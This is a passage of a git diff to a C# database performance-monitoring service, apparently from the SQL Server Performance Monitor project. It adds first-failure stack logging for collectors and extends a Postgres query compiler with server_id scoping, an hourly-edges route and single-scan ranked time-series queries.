+            var isIncomplete = incomplete is not null && incomplete.Contains(rollup.Relation);
+            var at = groups.FindIndex(g =>
+                g.JudgesPasses == rollup.JudgesPasses && g.Incomplete == isIncomplete && g.Ranges.SequenceEqual(ranges));
+            if (at >= 0)
+            {
+                groups[at].Sources.Add(rollup);
+            }
+            else
+            {
+                groups.Add((rollup.JudgesPasses, isIncomplete, new List<Rollup> { rollup }, ranges));
+            }
+        }
+
+        foreach (var (judgesPasses, isIncomplete, sources, ranges) in groups)
+        {
+            text.Append(string.Join(", ", sources.Select(DisplayName))).Append(": ");
+            text.Append(string.Join("; ", ranges.Select(r => judgesPasses
+                ? string.Create(CultureInfo.InvariantCulture,
+                    $"{RangeLabel(r)} (servers as low as {r.LowestServers:N0} vs usual {Math.Round(r.UsualServers):N0}, collection passes as low as {r.LowestPasses:N0} vs usual {Math.Round(r.UsualPasses):N0})")
+                : string.Create(CultureInfo.InvariantCulture,
+                    $"{RangeLabel(r)} (servers as low as {r.LowestServers:N0} vs usual {Math.Round(r.UsualServers):N0})"))));
+            text.Append(isIncomplete ? " [not complete: the source had not caught up to the end of the day, judged on what it held]. " : ". ");
+        }
+
+        if (unread is { Count: > 0 })
+        {
+            text.Append("Not read for this day: ").Append(string.Join(", ", unread.Select(DisplayName)))
+                .Append(" (a read failed, or the source had not caught up to the end of the day). ");
+        }
+
+        text.Append("A service outage, a restart, or collection that fell behind leaves this shape; compare with the Collection Stopped and Collection Gap At Start alerts for the same day. ")
+            .Append("A change to the perfmon collection schedule reads as fewer passes and can trigger this for a few days, until the 7-day median catches up.");
+        return text.ToString();
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/CollectorFaultDatabase.cs b/Darling/PerformanceMonitor.Darling.Service/CollectorFaultDatabase.cs
index eb6215f7de..addcd8c299 100644
--- a/Darling/PerformanceMonitor.Darling.Service/CollectorFaultDatabase.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/CollectorFaultDatabase.cs
@@ -20,8 +20,9 @@ namespace PerformanceMonitor.Darling.Service;
 /// <c>ServerRuntime.ConnectedDatabase</c> - an <c>init</c>-only field stamped once during the initial
 /// connect-and-probe, from whatever database the probe landed on. For a per-database collector that is
 /// simply a different database from the one that failed, so a message built on it names the wrong one with
-/// full confidence. Seven collectors declare <c>RunsPerDatabase =&gt; true</c>, <c>pg_index_bloat</c>
-/// among them.</para>
+/// full confidence. Many collectors fan out per database, <c>pg_index_bloat</c> among them, and on Azure SQL
+/// Database so does <c>database_size_stats</c> (#5498). A count kept here goes stale each time one is added, so
+/// it is not kept.</para>
 ///
 /// <para><b>Why <see cref="Exception.Data"/> and not a wrapper exception.</b> Fault classification keys on
 /// the exception's TYPE and SQLSTATE - <c>PostgresTargetProvider.Classify</c> asks whether it is a
diff --git a/Darling/PerformanceMonitor.Darling.Service/CollectorFaultStackLog.cs b/Darling/PerformanceMonitor.Darling.Service/CollectorFaultStackLog.cs
new file mode 100644
index 0000000000..fcf12c6136
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/CollectorFaultStackLog.cs
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// #5003: decides which collector failures get their stack written to the service log. A failed run logs one line with
+/// the exception's message and nothing else, which is enough for a timeout or a refused login and useless for a bug in
+/// our own code: two runs failed with "Collection was modified; enumeration operation may not execute" and the log
+/// could not say which collection or which line. The first failure of each kind from each collector since the service
+/// started is therefore written once more with its full text; the repeats keep the one line.
+///
+/// <para>A kind is the collector, the exception's type and the type of the exception underneath it. The root type is
+/// part of it because an RDS log read wraps whatever went wrong in one exception type
+/// (<see cref="Targets.RdsLogUnavailableException"/>), so a network fault and a bug inside the read would otherwise
+/// share one first line, and the fault that came first would use it up.</para>
+///
+/// <para>An <see cref="OutOfMemoryException"/> is never given a stack, whether it is the exception itself or the one
+/// underneath it: the RDS ingestors wrap every fault that is not a cancellation, so an out-of-memory read arrives
+/// inside <see cref="Targets.RdsLogUnavailableException"/>. The failure arm is where an out-of-memory run lands, and
+/// building the text allocates; the line it already writes is the one that has to survive.</para>
+///
+/// <para>The text is built before the kind is claimed. If building it throws, the kind is still claimed, with one short
+/// line that names what threw, so the kind logs once and a throwing <see cref="Exception.ToString"/> does not take its
+/// only detail line with it.</para>
+/// </summary>
+internal sealed class CollectorFaultStackLog
+{
+    private readonly ConcurrentDictionary<(string Collector, Type Type, Type Root), bool> _seen = new();
+
+    /// <summary>
+    /// The full text of <paramref name="exception"/> when this is the first failure of its kind from
+    /// <paramref name="collectorName"/> since this object was created, otherwise null. Never throws: this runs in the
+    /// failure arm, where a second fault would escape the run's own handler.
+    /// </summary>
+    public string? TakeFirst(string collectorName, Exception exception)
+    {
+        try
+        {
+            if (exception is OutOfMemoryException || exception.GetBaseException() is OutOfMemoryException)
+            {
+                return null;
+            }
+
+            var kind = (collectorName, exception.GetType(), exception.GetBaseException().GetType());
+
+            /* A kind that has been written is not built again, so a collector that fails every cycle costs this arm
+               nothing beyond the lookup. */
+            if (_seen.ContainsKey(kind))
+            {
+                return null;
+            }
+
+            /* The text first, the claim second: a claim made before a build that throws would leave the kind with no
+               detail line at all. Runs failing together in one way all build, and exactly one of them wins the claim. */
+            var text = TextOf(exception);
+
+            return _seen.TryAdd(kind, true) ? text : null;
+        }
+        catch (Exception)
+        {
+            return null;
+        }
+    }
+
+    /// <summary>The full text of <paramref name="exception"/>, or when building it throws, one short line that names the
+    /// exception and the type that threw. Never throws.</summary>
+    private static string TextOf(Exception exception)
+    {
+        try
+        {
+            return exception.ToString();
+        }
+        catch (Exception failure)
+        {
+            try
+            {
+                return "The full text of this " + exception.GetType().FullName + " could not be built: its ToString threw "
+                    + failure.GetType().FullName + ".";
+            }
+            catch (Exception)
+            {
+                return "The full text of this exception could not be built: its ToString threw.";
+            }
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs b/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs
index 102302f7e1..4514770371 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs
@@ -28,12 +28,35 @@ namespace PerformanceMonitor.Darling.Service;
 /// window binds $1/$2 and the bucket ceiling, but retention-tier routing and the partial-window notice
 /// measure AGE from now — an absolute (zoomed/historical) window can end long before now.
 /// <see cref="Servers"/> is the resolved <c>$server</c> scope (Erik's Decision 1 fleet axis): null/empty =
-/// the WHOLE FLEET (no server predicate); one or many server names = a bound <c>server_name = ANY($n)</c>
-/// filter, never interpolated (the compile-run endpoint resolves the $server variable to this). Group-by-server
+/// the WHOLE FLEET (no server predicate); one or many server names = a bound name list ($n) that the read turns into
+/// <c>server_id = ANY(ARRAY(SELECT ... FROM collect.servers WHERE server_name = ANY($n)))</c> (#5525), never interpolated (the compile-run endpoint resolves the $server variable to this). Group-by-server
 /// and a per-panel server filter are separate and flow through the normal dimension path.</summary>
 /// <see cref="Coverage"/> is the #1759 companion to <see cref="Rollups"/>: existence is not enough, because a
 /// rollup created over pre-existing history serves only what it materialized, so the router also needs each
 /// tier's measured floor to avoid answering an old window with silence.
+/// <see cref="HourlyEdges"/> is an optional count-guard verdict for the hourly-raw-edges route: the compiler takes
+/// that route only when the verdict equals <see cref="ComposeSourceRouter.HourlyRawEdgesCandidate"/> for this run;
+/// null (the default) leaves every compile on its existing route.
+/// <see cref="ModuleMapThrough"/> is the module map's watermark (naive UTC, <see cref="DateTimeKind.Unspecified"/>): the
+/// largest procedure_stats <c>collection_time</c> the last map refresh read. The runner supplies it only for a panel that
+/// joins modules and takes the hourly-raw-edges route; with it, that route resolves names from the map plus a recent
+/// overlay of procedure_stats instead of ranking the whole window. Null (the default, and every other route) keeps the
+/// window-wide ranking CTE.
+/// <see cref="UnregisteredServers"/> (#5525) is the part of <see cref="Servers"/> that names no <c>collect.servers</c> row, found by
+/// the runner (<see cref="ComposeServerScope.FindUnregisteredAsync"/>) before it compiles. The compiler scopes a read by
+/// <c>server_id</c>, resolved from the registry by name; a name with no registry row resolves to no id, so those names alone are
+/// also matched on the row's stored <c>server_name</c>, exactly as the old scope matched them. Null or empty (the default, and
+/// every run whose names are all registered) adds nothing to the SQL or to the parameters.
+/// <see cref="QueryStoreGroupMembers"/> (#5582) is the runner's count of the members of a Query Store RankedTimeSeries panel's group
+/// dimension(s), the product when there are several: the servers in scope for <c>server</c>, and <c>pg_stats.n_distinct</c> of the
+/// wide parent for <c>database_name</c> and <c>module_name</c>, each times <see cref="QueryStoreGroupMembers.NDistinctSafetyFactor"/>
+/// (a sampled estimate runs low for a long-tailed column). Null (the default, and
+/// every run that could not count) means unknown, and unknown compiles the two-scan text: the single-scan base CTE holds buckets x
+/// members rows, which only a known count can bound by <see cref="ComposeLimits.MaxSingleScanBaseRows"/>.
+/// <see cref="QueryStoreStampThrough"/> (#5582, part 3) is the instant below which the Query Store compose rollup answers a wide-route read
+/// (naive UTC, <see cref="DateTimeKind.Unspecified"/>); the runner sets it from the rollup's build state. When it is later than the wide read's
+/// start, and every partial the panel needs has a rollup column, the compile reads the rollup for <c>[start, StampThrough)</c> and the
+/// wide table from <c>StampThrough</c>; otherwise (null, the default, or earlier) it compiles the wide-table text unchanged.
 public sealed record ComposeRunContext(
     IReadOnlyList<string>? Servers,
     DateTime StartUtc,
@@ -43,7 +66,12 @@ public sealed record ComposeRunContext(
     DateTime NowUtc,
     RollupCoverage Coverage,
     bool QueryStoreWideEligible = false,
-    DateTime? QueryStoreWideStart = null)
+    DateTime? QueryStoreWideStart = null,
+    ComposeHourlyEdgesVerdict? HourlyEdges = null,
+    DateTime? ModuleMapThrough = null,
+    IReadOnlyList<string>? UnregisteredServers = null,
+    long? QueryStoreGroupMembers = null,
+    DateTime? QueryStoreStampThrough = null)
 {
     public static readonly IReadOnlyDictionary<string, string?> NoVariables =
         new Dictionary<string, string?>(StringComparer.Ordinal);
@@ -64,7 +92,7 @@ public sealed record ComposeCompiled(string Sql, IReadOnlyList<NpgsqlParameter>
 /// <c>collect.&lt;table&gt;</c> — the composed query can NEVER name a <c>config</c> table or an
 /// off-catalog column, and never relies on search_path.</item>
 /// <item>Every VALUE is a bound parameter: <c>$1</c>/<c>$2</c> the naive-UTC window, then (when the run is
-/// scoped to specific servers) a bound <c>server_name = ANY($n)</c>, then filter values as <c>= ANY($n)</c>
+/// scoped to specific servers) a bound server-name list ($n, resolved to <c>server_id</c> in the SQL, #5525), then filter values as <c>= ANY($n)</c>
 /// (with the array bound), <c>LIKE $n</c>, threshold <c>$n</c>, and <c>LIMIT $n</c> for topN.</item>
 /// <item>Aggregation is archetype-gated (SUM on the delta of a cumulative, on the column of a delta; AVG/
 /// MIN/MAX on the gauge/per-event column; <c>percentile_cont</c> only on per-event); a ratio is
@@ -108,6 +136,12 @@ public static class ComposeCompiler
     /// <summary>The rank CTE's name in a <see cref="PanelMode.RankedTimeSeries"/> statement (#2734).</summary>
     private const string RankCte = "topn";
 
+    /// <summary>The CTE that holds the fact rows aggregated once to one row per (bucket, group) in a single-scan
+    /// <see cref="PanelMode.RankedTimeSeries"/> statement (#5582), and the alias its readers use.</summary>
+    private const string RankBaseCte = "rank_base";
+
+    private const char RankBaseAlias = 'b';
+
     /// <summary>
     /// The relation the panel aggregates: the routed CAGG, or the raw source table — except
     /// <c>query_store_stats</c> on the RAW route, which is wrapped in a per-interval dedup first (#1841).
@@ -115,12 +149,15 @@ public static class ComposeCompiler
     /// <para>Its rows are CUMULATIVE per-Query-Store-interval snapshots and the collector re-fetches the OPEN
     /// interval every cycle, so <c>qs_executions</c> (SUM) and the weighted <c>qs_avg_*</c> ratios would count
     /// one interval's work once per collection. The dedup keeps the LATEST snapshot per interval — the same
-    /// ROW_NUMBER convention the analysis collectors and both apps' Query Store readers use.</para>
+    /// ROW_NUMBER convention the analysis collectors and both apps' Query Store readers use. When the panel
+    /// filters on a dimension of this table, the dedupe ranks only the partitions that hold a matching row
+    /// (<see cref="QueryStorePartitionRestriction"/>); the filter itself stays outside, so a mid-window rename
+    /// cannot change which snapshot survives.</para>
     ///
     /// <para><c>server_id</c> is in the partition because a composed panel spans the fleet, not one server —
     /// and <c>server_name</c> is there too, which is NOT redundant: Postgres can push a qual through a
     /// subquery containing a window function only when the qual's columns appear in EVERY window's
-    /// PARTITION BY, and the panel's server scope is expressed as <c>server_name = ANY(...)</c> in the outer
+    /// PARTITION BY, and the panel's server scope is expressed as <c>server_id = ANY(...)</c> in the outer
     /// WHERE. Without it a fleet store would rank every server's rows before narrowing to the panel's. It is
     /// 1:1 with <c>server_id</c>, so it only ever makes the partition finer, never over-collapses. The
     /// grouped/filtered dimensions (<c>database_name</c>) push down for the same reason.</para>
@@ -172,8 +209,37 @@ public static class ComposeCompiler
     /// them; both are functionally dependent on <c>query_id</c>, so they add no groups.</para>
     /// </summary>
     private static string BuildFactRelation(
-        string sourceTable, ComposeRoute route, string timeColumn, string startParam, string endParam, ComposeRunContext context, string? wideStartParam = null)
+        string sourceTable, ComposeRoute route, string timeColumn, string startParam, string endParam, ComposeRunContext context, string? wideStartParam = null,
+        IReadOnlyList<string>? dimensionFilters = null, string? serverScopeSql = null, bool restrictDedupe = false,
+        string? edgeStartParam = null, string? edgeEndParam = null, ComposeAggregate aggregate = ComposeAggregate.Sum,
+        StampRelation? stamp = null)
     {
+        if (route.Tier == ComposeSourceTier.HourlyRawEdges)
+        {
+            /* Three arms with one SELECT list: the rollup for the whole-hour middle, the raw restart rows the rollup
+               excludes (literal `sample_interval_seconds = 0`, so the planner can use the partial index), and raw for the
+               edges outside the middle. The window, scope, filters and module join stay outside, on the caller's alias. */
+            var groups = ComposeHybridColumns.GroupColumns[sourceTable];
+            var mid = ComposeRoute.HybridMidAlias;
+            var suffix = aggregate switch
+            {
+                ComposeAggregate.Max => "max",
+                ComposeAggregate.Min => "min",
+                _ => "sum",
+            };
+            var midCols = string.Join(", ", groups.Select(c => $"{mid}.{c}"))
+                + $", {mid}.bucket AS collection_time, "
+                + string.Join(", ", ComposeHybridColumns.Measures.Select(kv => $"{mid}.{kv.Value}_{suffix} AS {kv.Key}"))
+                + ", 1 AS sample_interval_seconds";
+            var rawCols = string.Join(", ", groups) + ", collection_time, "
+                + string.Join(", ", ComposeHybridColumns.Measures.Keys) + ", sample_interval_seconds";
+            return $"(SELECT {midCols} FROM {PgSchemaGenerator.CollectSchema}.{route.CaggRelation} AS {mid} WHERE {mid}.bucket >= {edgeStartParam} AND {mid}.bucket < {edgeEndParam} "
+                + $"UNION ALL SELECT {rawCols} FROM {PgSchemaGenerator.CollectSchema}.{sourceTable} "
+                + $"WHERE collection_time >= {edgeStartParam} AND collection_time < {edgeEndParam} AND sample_interval_seconds = 0 "
+                + $"UNION ALL SELECT {rawCols} FROM {PgSchemaGenerator.CollectSchema}.{sourceTable} "
+                + $"WHERE collection_time >= {startParam} AND collection_time <= {endParam} AND (collection_time < {edgeStartParam} OR collection_time >= {edgeEndParam}))";
+        }
+
         if (route.IsCagg)
         {
             /* #3653 A6: CaggFromClause is the FROM-clause item (decision 2) — either
@@ -205,22 +271,110 @@ This route deliberately carries no first_execution_time floor (#4605). With a BR
            windows of 12 h or more rely on that index and that setting; without them this read scans the table. */
         if (context.QueryStoreWideEligible)
         {
+            if (stamp is not null)
+            {
+                return BuildStampRelation(stamp, wideStartParam ?? startParam, endParam, dimensionFilters);
+            }
+
             return $"(SELECT w.*, s.server_name FROM {PgSchemaGenerator.CollectSchema}.query_store_interval_wide AS w "
                 + $"JOIN {PgSchemaGenerator.CollectSchema}.servers AS s ON s.server_id = w.server_id "
                 + $"WHERE w.{timeColumn} >= {wideStartParam ?? startParam} AND w.{timeColumn} <= {endParam})";
         }
 
-        return "(SELECT * FROM (SELECT *, ROW_NUMBER() OVER (PARTITION BY server_id, server_name, database_name, "
-            + $"query_id, plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role ORDER BY {timeColumn} DESC, execution_count DESC) AS qs_rn "
+        return "(SELECT * FROM (SELECT *, ROW_NUMBER() OVER (PARTITION BY "
+            + $"server_id, server_name, database_name, query_id, plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role "
+            + $"ORDER BY {timeColumn} DESC, execution_count DESC) AS qs_rn "
             + $"FROM {PgSchemaGenerator.CollectSchema}.{QueryStoreTable} "
-            + $"WHERE {timeColumn} >= {startParam} AND {timeColumn} <= {endParam}) AS qs_ranked WHERE qs_rn = 1)";
+            + $"WHERE {timeColumn} >= {startParam} AND {timeColumn} <= {endParam}"
+            + QueryStorePartitionRestriction(timeColumn, startParam, endParam, dimensionFilters, serverScopeSql, restrictDedupe)
+            + ") AS qs_ranked WHERE qs_rn = 1)";
+    }
+
+    /* The partition key the restriction joins on. The dedupe's PARTITION BY text above spells the same list as a literal (the tie-break
+       source guard reads it there); a test pins the two equal. */
+    internal static readonly string[] s_queryStorePartitionKey =
+    {
+        "server_id", "server_name", "database_name", "query_id", "plan_id", "runtime_stats_interval_id", "first_execution_time", "execution_type_desc", "replica_role",
+    };
+
+    /// <summary>
+    /// The raw dedupe's input restriction when the panel carries dimension filters (#4605): only the partitions
+    /// holding at least one in-window row that matches those filters are ranked. Every kept partition keeps ALL
+    /// of its window rows, so <c>qs_rn = 1</c> picks the same survivor as the unrestricted dedupe, and the outer
+    /// filter still decides which survivors count. A partition with no matching row cannot yield a matching
+    /// survivor. Moving the predicate itself inside the dedupe would NOT be exact: a module renamed mid-window
+    /// leaves one partition with rows under two names, and the filter would change which row survives.
+    ///
+    /// <para>The restriction is a hashable NULL-safe semi-join: <c>EXISTS</c> over a <c>DISTINCT</c> key subquery,
+    /// joined on <c>coalesce(col, sentinel)</c> equality for every key column (the hash keys) plus an
+    /// <c>IS NOT DISTINCT FROM</c> residual. <c>PARTITION BY</c> groups NULLs together and a plain <c>IN</c> does
+    /// not match them, but <c>IS NOT DISTINCT FROM</c> alone cannot be hashed. <c>replica_role</c> is NULL on every
+    /// standalone server, so on such a store the NULL-safe comparison covers every row and must stay hashable (a
+    /// first shape, <c>IN … OR (null AND correlated EXISTS)</c>, timed out there). The residual keeps the result
+    /// exact even when a real value equals a sentinel (<c>''</c>, <c>-1</c>, <c>-infinity</c>).</para>
+    ///
+    /// <para>Only filters on the fact's own columns reach here; a module-joined dimension is not a column of this
+    /// table. The restriction is added only when at least one filter is on a NON-partition column
+    /// (<c>module_name</c>, <c>query_hash</c>): a filter on <c>server_name</c> or <c>database_name</c> is a
+    /// partition column and Postgres already pushes it through the window subquery, so restricting on it would add
+    /// a second scan, a DISTINCT and a semi-join for no change in the ranked rows. With no such filter the text is
+    /// empty and the dedupe is unchanged. When it is added, the inner WHERE still carries every pushable filter.</para>
+    /// </summary>
+    private static string QueryStorePartitionRestriction(
+        string timeColumn, string startParam, string endParam, IReadOnlyList<string>? dimensionFilters, string? serverScopeSql, bool restrictDedupe)
+    {
+        if (!restrictDedupe || dimensionFilters is not { Count: > 0 })
+        {
+            return string.Empty;
+        }
+
+        var table = $"{PgSchemaGenerator.CollectSchema}.{QueryStoreTable}";
+        var window = $"{FactAlias}.{timeColumn} >= {startParam} AND {FactAlias}.{timeColumn} <= {endParam}"
+            + (serverScopeSql is null ? string.Empty : " AND " + serverScopeSql)
+            + string.Concat(dimensionFilters.Select(c => " AND " + c));
+        var keys = s_queryStorePartitionKey;
+        string Sentinel(string c) => c switch
+        {
+            "server_id" => throw new InvalidOperationException("server_id is never NULL and is compared directly; it has no sentinel."),
+            "query_id" or "plan_id" or "runtime_stats_interval_id" => "-1",
+            "first_execution_time" => "'-infinity'::timestamp",
+            _ => "''",
+        };
+        var hashKey = string.Concat(keys.Select(c => c == "server_id"
+            ? $" AND k.server_id = {QueryStoreTable}.server_id"
+            : $" AND coalesce(k.{c}, {Sentinel(c)}) = coalesce({QueryStoreTable}.{c}, {Sentinel(c)})"));
+        var residual = string.Concat(keys.Where(c => c != "server_id").Select(c => $" AND k.{c} IS NOT DISTINCT FROM {QueryStoreTable}.{c}"));
+        return $" AND EXISTS (SELECT 1 FROM (SELECT DISTINCT {string.Join(", ", keys.Select(c => FactAlias + "." + c))}"
+            + $" FROM {table} AS {FactAlias} WHERE {window}) AS k WHERE true{hashKey}{residual})";
+    }
+
+    /// <summary>True when two normalized server scopes are the same set under ordinal comparison (the case rule of
+    /// SQL <c>= ANY</c>); both null is the fleet matching the fleet.</summary>
+    private static bool SameServerScope(IReadOnlyList<string>? proved, IReadOnlyList<string>? run)
+    {
+        if (proved is null || run is null)
+        {
+            return proved is null && run is null;
+        }
+
+        return new HashSet<string>(proved, StringComparer.Ordinal).SetEquals(run);
     }
 
     /// <summary>
     /// Compiles <paramref name="plan"/> against <paramref name="context"/>. Returns the parameterized SQL,
     /// or a caller-facing error for the one runtime-only check (the window×resolution bucket ceiling).
     /// </summary>
-    public static (ComposeCompiled? Compiled, string? Error) Compile(PanelPlan plan, ComposeRunContext context)
+    public static (ComposeCompiled? Compiled, string? Error) Compile(PanelPlan plan, ComposeRunContext context) =>
+        CompileCore(plan, context, singleScanRankedTimeSeries: true);
+
+    /// <summary>
+    /// <see cref="Compile"/> with the #5582 single-scan RankedTimeSeries shape switchable. <c>false</c> compiles exactly the
+    /// text every route emitted before that change (the rank CTE and the outer query each scan the fact rows). It is the
+    /// live exactness oracle in <c>ComposeQueryStoreRankedSingleScanLiveTests</c> and the plan test's two-scan baseline;
+    /// no product path passes <c>false</c>.
+    /// </summary>
+    internal static (ComposeCompiled? Compiled, string? Error) CompileCore(
+        PanelPlan plan, ComposeRunContext context, bool singleScanRankedTimeSeries, Func<string, string?>? stampColumns = null)
     {
         if (plan is null)
         {
@@ -247,9 +401,23 @@ panel reads raw (#1606: the overlay AND-gate). */
             route = ComposeRoute.Raw;
         }
 
+        /* A count-guard verdict that equals the router's candidate for this run swaps a raw route to the
+           hourly-raw-edges route. IsCagg stays false, so everything but the FROM item stays on its raw path. */
+        if (context.HourlyEdges is { } verdict
+            && route.Tier == ComposeSourceTier.Raw
+            && ComposeSourceRouter.HourlyRawEdgesCandidate(plan, context.NowUtc, context.StartUtc, context.EndUtc, context.Rollups, context.Coverage) is { } candidate
+            && string.Equals(verdict.SourceTable, candidate.SourceTable, StringComparison.Ordinal)
+            && verdict.HourStartUtc == candidate.HourStartUtc
+            && verdict.HourEndUtc == candidate.HourEndUtc
+            && SameServerScope(ComposeSourceRouter.NormalizeServerScope(verdict.Servers), ComposeSourceRouter.NormalizeServerScope(context.Servers)))
+        {
+            route = new ComposeRoute(ComposeSourceTier.HourlyRawEdges, candidate.SuccessorView, null, null, candidate.HourStartUtc, candidate.HourEndUtc);
+        }
+
         /* Auto resolves to a concrete grain from the window before anything downstream (ceiling + date_trunc);
            a non-Auto bucket passes through unchanged, so existing panels are byte-for-byte identical. */
         var effectiveBucket = plan.TimeBucket;
+        var windowBuckets = 0d;
         if (plan.Mode is PanelMode.TimeSeries or PanelMode.RankedTimeSeries)
         {
             var windowSeconds = (context.EndUtc - context.StartUtc).TotalSeconds;
@@ -265,6 +433,7 @@ panel reads raw (#1606: the overlay AND-gate). */
             if (bucketSeconds > 0)
             {
                 var buckets = Math.Ceiling(windowSeconds / bucketSeconds);
+                windowBuckets = buckets;
                 if (buckets > ComposeLimits.MaxBuckets)
                 {
                     return (null,
@@ -276,12 +445,36 @@ panel reads raw (#1606: the overlay AND-gate). */
 
         var p = new ParamList();
         /* $1 start, $2 end — the naive-UTC window prelude. The server scope is OPTIONAL/multi: null/empty
-           $server => the whole fleet (no predicate); one/many servers => a bound server_name = ANY($n), never
+           $server => the whole fleet (no predicate); one/many servers => a bound name list resolved to server_id in the SQL (ServerScope, #5525), never
            interpolated (the compile-run endpoint resolves the $server variable to this). */
         var startParam = p.AddTimestamp(context.StartUtc);
         var endParam = p.AddTimestamp(context.EndUtc);
         var hasServerScope = context.Servers is { Count: > 0 };
         var serverScopeParam = hasServerScope ? p.AddTextArray(context.Servers!) : null;
+        var unregisteredParam = hasServerScope && context.UnregisteredServers is { Count: > 0 } ? p.AddTextArray(context.UnregisteredServers) : null;
+        string FactScope() => ServerScope($"{FactAlias}.", serverScopeParam!, unregisteredParam);
+
+        /* The hourly-raw-edges route binds its two edge instants here and no other route binds anything, so every
+           other compile keeps its parameters. wideStartParam below is Query Store only and the hybrid route never
+           serves Query Store, so the two binds never co-occur. */
+        string? edgeStartParam = null, edgeEndParam = null;
+        if (route.Tier == ComposeSourceTier.HourlyRawEdges)
+        {
+            edgeStartParam = p.AddTimestamp(route.EdgeStartUtc!.Value);
+            edgeEndParam = p.AddTimestamp(route.EdgeEndUtc!.Value);
+        }
+
+        /* The recent-overlay floor of the hourly-raw-edges module join: the later of the window start and the map's
+           watermark less the refresh slack. Bound only when the module join is emitted below from the map, so no other
+           compile gains a parameter. A watermark later than the run's now (written ahead of the clock by an older
+           build) counts as no watermark, so that compile ranks the whole window as before. */
+        string? moduleOverlayFloorParam = null;
+        if (route.Tier == ComposeSourceTier.HourlyRawEdges && plan.UsesModuleJoin
+            && context.ModuleMapThrough is DateTime moduleMapThrough && moduleMapThrough <= context.NowUtc)
+        {
+            var overlayFloor = moduleMapThrough - DarlingModuleMap.WatermarkSlack;
+            moduleOverlayFloorParam = p.AddTimestamp(overlayFloor > context.StartUtc ? overlayFloor : context.StartUtc);
+        }
 
         /* #4689: below raw's floor the interval table is exact only from the runner's common start
            (ComposeRunContext.QueryStoreWideStart, the latest per-server read start), so an eligible Query Store
@@ -293,26 +486,70 @@ panel reads raw (#1606: the overlay AND-gate). */
                 ? p.AddTimestamp(wideStart)
                 : null;
 
+        /* #5582 part 3: the stamp route. Decided here, before any later parameter is bound, so $stampThrough sits right after the
+           wide start in every mode; null (the default) compiles the wide-table text above byte for byte. */
+        var stampPlan = TryPlanStamp(plan, route, context, stampColumns ?? StampColumnFor);
+        var stampThroughParam = stampPlan is null ? null : p.AddTimestamp(context.QueryStoreStampThrough!.Value);
+
         /* Filter predicates are built — and their values BOUND — once, in filter order, so the parameter
            order is identical for every mode (window, scope, filters, then topN). RankedTimeSeries (#2734)
            reuses the same clause TEXT in both its rank CTE and its series query, which reuses the same $n
            placeholders rather than double-binding each value. */
         var filterClauses = new List<string>(plan.Filters.Count);
+        var pushableFilterClauses = new List<string>();
+        var restrictDedupe = false;
         foreach (var filter in plan.Filters)
         {
-            filterClauses.Add(BuildFilterClause(filter, context, p));
+            var clause = BuildFilterClause(filter, context, p);
+            filterClauses.Add(clause);
+            if (!filter.Dimension.ViaModuleJoin
+                && string.Equals(filter.Dimension.SourceTable, QueryStoreTable, StringComparison.Ordinal))
+            {
+                pushableFilterClauses.Add(clause);
+                restrictDedupe |= !s_queryStorePartitionKey.Contains(filter.Dimension.Column, StringComparer.Ordinal);
+            }
         }
 
         var timeColumn = route.IsCagg ? ComposeRoute.CaggTimeColumn : s_timeColumnByTable[plan.Measure.SourceTable];
         var sql = new StringBuilder();
 
+        /* #5582: the single-scan RankedTimeSeries shape. The rank and the series used to each scan the fact rows (a
+           one-day, 43-server read of the Query Store wide table is 8.5 million rows, so a RankedTimeSeries panel read
+           them twice and timed out). Here the fact body runs ONCE, into a CTE of one row per (bucket, group) that holds
+           the partial sums, counts and extremes the panel's aggregate needs; the rank is a re-aggregation of that CTE over
+           the groups alone, and the series a re-aggregation over (bucket, group). Only the Query Store wide route takes
+           it: every other route, and an aggregate that does not decompose (percentile_cont), compiles today's text. */
+        PartialColumns? partials = null;
+        string? partialValue = null;
+        if (singleScanRankedTimeSeries && plan.Mode == PanelMode.RankedTimeSeries && CanSingleScan(plan, route, context, windowBuckets))
+        {
+            partials = stampPlan is null ? new PartialColumns() : new PartialColumns(stampColumns ?? StampColumnFor, direct: false);
+            partialValue = TryBuildPartialValueExpr(plan.Measure, plan.Aggregate, plan.Unit, partials);
+        }
+
+        var singleScan = partialValue is not null;
+
+        /* The stamp relation's inputs: its partial columns, $stampThrough, and the server scope spelled on the registry join the
+           three arms share (`s.`), because the rollup rows and the wide rows both carry server_id and the registry row carries the name. */
+        var stampRelation = stampPlan is null
+            ? null
+            : new StampRelation(stampPlan.Partials, stampThroughParam!, hasServerScope ? ServerScope("s.", serverScopeParam!, unregisteredParam) : null,
+                hasServerScope ? ServerScope("b.", serverScopeParam!, null) : null);
+
+        /* In stamp mode every value is the combine form over the relation's partial columns (single scan: over rank_base's). */
+        string PrimaryValue() => singleScan
+            ? partialValue!
+            : stampPlan is not null ? stampPlan.PrimaryValue : BuildValueExpr(plan.Measure, plan.Aggregate, plan.Unit, route);
+
         /* The fact FROM + (optional) module join + WHERE window/scope/filters — one emitter because the
            RankedTimeSeries rank CTE and the outer query must aggregate the SAME fact rows; two hand-kept
-           copies would drift into ranking one population and charting another. `indent` nests the text
+           copies would drift into ranking one population and charting another (#2734). Since #5582 a
+           single-scan RankedTimeSeries calls it once, into the base CTE, and the rank and the series both read that
+           CTE: they still aggregate the same fact rows, by construction. `indent` nests the text
            inside the CTE without changing the outer query's byte-for-byte shape. */
         void AppendFactBody(string indent)
         {
-            sql.Append(indent).Append("FROM ").Append(BuildFactRelation(plan.Measure.SourceTable, route, timeColumn, startParam, endParam, context, wideStartParam));
